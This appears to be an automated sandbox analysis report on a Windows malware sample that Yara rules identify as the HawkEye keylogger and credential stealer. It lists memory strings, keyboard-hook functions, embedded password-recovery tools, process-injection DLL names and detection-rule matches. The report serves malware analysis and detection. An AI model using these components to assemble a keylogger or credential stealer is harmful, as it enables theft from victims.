Source: InstallUtil.exe, 0000000C.00000003.461734038.0000000005D4B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comFD
Source: InstallUtil.exe, 0000000C.00000003.461734038.0000000005D4B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comay
Source: InstallUtil.exe, 0000000C.00000003.461734038.0000000005D4B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comdR
Source: InstallUtil.exe, 0000000C.00000003.461734038.0000000005D4B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comessed
Source: InstallUtil.exe, 0000000C.00000003.461734038.0000000005D4B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comgrito
Source: InstallUtil.exe, 0000000C.00000003.461734038.0000000005D4B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comitu
Source: InstallUtil.exe, 0000000C.00000003.470360983.0000000005D4A000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.coml1
Source: InstallUtil.exe, 0000000C.00000003.470360983.0000000005D4A000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comm
Source: InstallUtil.exe, 0000000C.00000003.461734038.0000000005D4B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comm(
Source: InstallUtil.exe, 0000000C.00000003.470360983.0000000005D4A000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.como
Source: InstallUtil.exe, 0000000C.00000003.470360983.0000000005D4A000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comu
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000003.454846783.0000000005D46000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: InstallUtil.exe, 0000000C.00000003.454846783.0000000005D46000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: InstallUtil.exe, 0000000C.00000003.454846783.0000000005D46000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cnhic
Source: InstallUtil.exe, 0000000C.00000003.454846783.0000000005D46000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cno
Source: InstallUtil.exe, 0000000C.00000003.454846783.0000000005D46000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cnomp$
Source: InstallUtil.exe, 0000000C.00000003.454846783.0000000005D46000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cntra:
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: InstallUtil.exe, 0000000C.00000003.456756762.0000000005D4A000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: InstallUtil.exe, 0000000C.00000003.456469435.0000000005D49000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp//
Source: InstallUtil.exe, 0000000C.00000003.456756762.0000000005D4A000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/6
Source: InstallUtil.exe, 0000000C.00000003.456756762.0000000005D4A000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/D
Source: InstallUtil.exe, 0000000C.00000003.456469435.0000000005D49000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/G
Source: InstallUtil.exe, 0000000C.00000003.457320751.0000000005D49000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/R
Source: InstallUtil.exe, 0000000C.00000003.456756762.0000000005D4A000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Verdk
Source: InstallUtil.exe, 0000000C.00000003.456756762.0000000005D4A000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/adnl
Source: InstallUtil.exe, 0000000C.00000003.456756762.0000000005D4A000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/c
Source: InstallUtil.exe, 0000000C.00000003.457320751.0000000005D49000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/cs-c
Source: InstallUtil.exe, 0000000C.00000003.456756762.0000000005D4A000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000003.457320751.0000000005D49000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
Source: InstallUtil.exe, 0000000C.00000003.456756762.0000000005D4A000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/settR
Source: InstallUtil.exe, 0000000C.00000003.457320751.0000000005D49000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/wuR
Source: InstallUtil.exe, 0000000C.00000003.457780221.0000000005D49000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/wvR
Source: InstallUtil.exe, 0000000C.00000003.468375972.0000000005D70000.00000004.00000001.sdmp	String found in binary or memory: http://www.monotype.S
Source: vbc.exe, vbc.exe, 00000013.00000002.491218277.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: http://www.nirsoft.net/
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: InstallUtil.exe, 0000000C.00000002.602473757.0000000002B31000.00000004.00000001.sdmp	String found in binary or memory: http://www.site.com/logs.php
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: InstallUtil.exe, 0000000C.00000002.612022947.0000000006F52000.00000004.00000001.sdmp, InstallUtil.exe, 0000000C.00000003.455377795.0000000005D47000.00000004.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: InstallUtil.exe, 0000000C.00000003.455377795.0000000005D47000.00000004.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cnm
Source: vbc.exe, 00000012.00000003.493497095.00000000022DC000.00000004.00000001.sdmp	String found in binary or memory: https://2542116.fls.doubleclick.net/activi
Source: vbc.exe	String found in binary or memory: https://login.yahoo.com/config/login
Source: ypBoHI5G3x.exe, 00000001.00000002.447965365.0000000003121000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com
Source: ypBoHI5G3x.exe, 00000001.00000002.447965365.0000000003121000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/
Source: vbc.exe	String found in binary or memory: https://www.google.com/accounts/servicelogin

Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected HawkEye Keylogger

Show sources

Source: Yara match	File source: 12.2.InstallUtil.exe.45fa72.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.2b5b2a0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.41a1cf2.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.419b8ea.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.408208.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.43944ca.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.419b8ea.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.41a36f7.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.InstallUtil.exe.409c0d.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.43944ca.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.439c2d7.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ypBoHI5G3x.exe.439a8d2.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.602473757.0000000002B31000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.455392795.000000000419B000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ypBoHI5G3x.exe PID: 6504, type: MEMORY
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6456, type: MEMORY

Contains functionality to log keystrokes (.Net Source)

Show sources

Source: 12.2.InstallUtil.exe.400000.0.unpack, Form1.cs

.Net Code: HookKeyboard

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 18_2_0040D674 OpenClipboard,GetLastError,DeleteFileW,

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 12.2.InstallUtil.exe.45fa72.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 12.2.InstallUtil.exe.45fa72.2.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 12.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 12.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 12.2.InstallUtil.exe.2b5b2a0.5.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.ypBoHI5G3x.exe.41a1cf2.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.ypBoHI5G3x.exe.41a1cf2.5.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.ypBoHI5G3x.exe.419b8ea.4.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.ypBoHI5G3x.exe.419b8ea.4.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 12.2.InstallUtil.exe.408208.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 12.2.InstallUtil.exe.408208.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.ypBoHI5G3x.exe.43944ca.8.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.ypBoHI5G3x.exe.43944ca.8.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.ypBoHI5G3x.exe.419b8ea.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.ypBoHI5G3x.exe.419b8ea.4.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.ypBoHI5G3x.exe.41a36f7.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.ypBoHI5G3x.exe.41a36f7.3.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 12.2.InstallUtil.exe.409c0d.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 12.2.InstallUtil.exe.409c0d.3.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.ypBoHI5G3x.exe.43944ca.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.ypBoHI5G3x.exe.43944ca.8.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.ypBoHI5G3x.exe.439c2d7.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.ypBoHI5G3x.exe.439c2d7.6.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.ypBoHI5G3x.exe.439a8d2.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.ypBoHI5G3x.exe.439a8d2.7.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 0000000C.00000002.602473757.0000000002B31000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000C.00000002.599637682.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.455392795.000000000419B000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000002.455392795.000000000419B000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group

.NET source code contains very large array initializations

Show sources

Source: ypBoHI5G3x.exe, n6QE/Nx78.cs	Large array initialization: .cctor: array initializer size 7987
Source: 1.2.ypBoHI5G3x.exe.c30000.0.unpack, n6QE/Nx78.cs	Large array initialization: .cctor: array initializer size 7987

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 18_2_00408836 memset,CreateFileW,NtQuerySystemInformation,NtQuerySystemInformation,FindCloseChangeNotification,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,NtQueryObject,CloseHandle,_wcsicmp,CloseHandle,FreeLibrary,

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe

Code function: 1_2_06DA5CBC CreateProcessAsUserW,

Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_05FF51F7
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_05FF0040
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_05FFF378
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_05FFB240
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_05FFB230
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_05FF2DE8
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_05FF2DD8
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_05FFAC90
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_05FFAC7F
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_05FF4968
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_06DA7F50
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_06DABF48
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_06DA5470
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_06DA6C29
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_06DA9A10
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_06DAE958
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_06DAA141
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_06DA6130
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_06DA5461
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_06DAF588
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_06DACA88
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_06DAB3C8
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_06DAB3B8
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_06DA2370
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_06DA2360
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_06DAB840
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_06DAD810
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_06DAB833
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_06DA3998
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_06DA3996
Source: C:\Users\user\Desktop\ypBoHI5G3x.exe	Code function: 1_2_06DA3958
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 12_2_008B20B0
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 12_2_0516F90C
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 12_2_0516F934
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 12_2_0516F958
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 12_2_0516F940
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 12_2_0516F94C
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 12_2_05175EDF
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 12_2_0517CA22
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 12_2_0517BA60
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 12_2_073AB4E0
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 12_2_073AEEC8
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 12_2_073ABDB0
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 12_2_073AB198
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 12_2_073A0006
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 18_2_00404419
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 18_2_00404516
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 18_2_00413538
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 18_2_004145A1
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 18_2_0040E639
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 18_2_004337AF
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 18_2_004399B1
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 18_2_0043DAE7
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 18_2_00405CF6
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 18_2_00403F85
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 18_2_00411F99
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 19_2_00404DDB
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 19_2_0040BD8A
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 19_2_00404E4C
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 19_2_00404EBD
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 19_2_00404F4E

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\InstallUtil.exe 46DEE184523A584E56DF93389F81992911A1BA6B1F05AD7D803C6AB1450E18CB

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: String function: 00413F8E appears 66 times
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: String function: 00413E2D appears 34 times
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: String function: 00442A90 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: String function: 004141D6 appears 88 times
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: String function: 00411538 appears 35 times

Source: ypBoHI5G3x.exe	Binary or memory string: OriginalFilename vs ypBoHI5G3x.exe
Source: ypBoHI5G3x.exe, 00000001.00000002.448095558.00000000031D1000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameRunPe6.dll" vs ypBoHI5G3x.exe
Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameCMemoryExecute.dll@ vs ypBoHI5G3x.exe
Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameWebBrowserPassView.exeF vs ypBoHI5G3x.exe
Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamemailpv.exe< vs ypBoHI5G3x.exe
Source: ypBoHI5G3x.exe, 00000001.00000002.455567208.0000000004312000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamePhulli.exe0 vs ypBoHI5G3x.exe
Source: ypBoHI5G3x.exe, 00000001.00000002.463314966.000000000768B000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameInstallUtil.exeT vs ypBoHI5G3x.exe
Source: ypBoHI5G3x.exe, 00000001.00000002.460154199.00000000060A0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameKernelbase.dll.muij% vs ypBoHI5G3x.exe
Source: ypBoHI5G3x.exe, 00000001.00000002.455250431.0000000004128000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameSHCore1.dll0 vs ypBoHI5G3x.exe
Source: ypBoHI5G3x.exe, 00000001.00000002.460808162.0000000006B10000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemscorrc.dllT vs ypBoHI5G3x.exe
Source: ypBoHI5G3x.exe, 00000001.00000000.331669031.0000000000C32000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameSchool Store.exe: vs ypBoHI5G3x.exe
Source: ypBoHI5G3x.exe	Binary or memory string: OriginalFilenameSchool Store.exe: vs ypBoHI5G3x.exe

Source: ypBoHI5G3x.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 12.2.InstallUtil.exe.7750000.11.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 12.2.InstallUtil.exe.2b6ec2c.6.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 12.2.InstallUtil.exe.45fa72.2.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 12.2.InstallUtil.exe.45fa72.2.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 12.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 12.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 12.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 12.2.InstallUtil.exe.8110000.12.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 12.2.InstallUtil.exe.2b5b2a0.5.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 12.2.InstallUtil.exe.2b5b2a0.5.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.ypBoHI5G3x.exe.41a1cf2.5.raw.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 1.2.ypBoHI5G3x.exe.41a1cf2.5.raw.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.ypBoHI5G3x.exe.41a1cf2.5.raw.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.ypBoHI5G3x.exe.419b8ea.4.unpack, type: UNPACKEDPE	Matched rule: RAT_HawkEye date = 01.06.2015, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = KeyLogger, description = Detects HawkEye RAT, reference = http://malwareconfig.com/stats/HawkEye
Source: 1.2.ypBoHI5G3x.exe.419b8ea.4.unpack, type: UNPACKEDPE	Matched rule: HKTL_NET_GUID_Stealer date = 2020-12-29, author = Arnim Rupp, description = Detects c# red/black-team tools via typelibguid, reference = https://github.com/malwares/Stealer, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.ypBoHI5G3x.exe.419b8ea.4.unpack, type: UNPACKEDPE	Matched rule: Hawkeye author = JPCERT/CC Incident Response Group, description = detect HawkEye in memory, rule_usage = memory scan, reference = internal research
